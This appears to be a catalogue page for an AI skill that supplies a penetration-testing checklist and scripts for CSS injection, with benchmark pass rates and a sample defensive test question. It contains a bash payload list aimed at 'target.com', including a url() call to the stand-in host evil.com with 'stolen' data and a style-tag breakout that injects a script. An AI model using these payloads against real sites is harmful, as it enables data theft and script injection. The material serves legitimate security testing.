Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Outlines a pentest checklist and test scripts for CSS injection, covering style attributes, @import, expression(), and data exfiltration.
Use this skill ↓64% 73%+9 ptsof test cases passed
Passed 16 of 22 test cases with the skill, and 14 of 22 without it.
A developer wants to sanitize user-provided CSS properties by stripping script tags using a naive blocklist. What robust defensive strategy should be implemented in Python instead?
Returns an empty string when user input fails property pattern validation.
3 of 3 safety checks passed
WSTG-CLNT-05
Testing for CSS Injection
CSS injection allows attackers to inject malicious CSS into web pages. While typically less severe than XSS, it can be used for data exfiltration (via attribute selectors), UI redressing, content spoofing, and in some cases, JavaScript execution in older browsers.
#!/bin/bash
TARGET="https://target.com"
payloads=(
"color:red"
"background:url(https://evil.com/log?data=stolen)"
"position:fixed;top:0;left:0;width:100%;height:100%;background:red"
"}</style><script>alert(1)</script><style>"
)
Skills that do similar work, with their benchmark result.
Next to this one in the catalogue, plus more from the same author.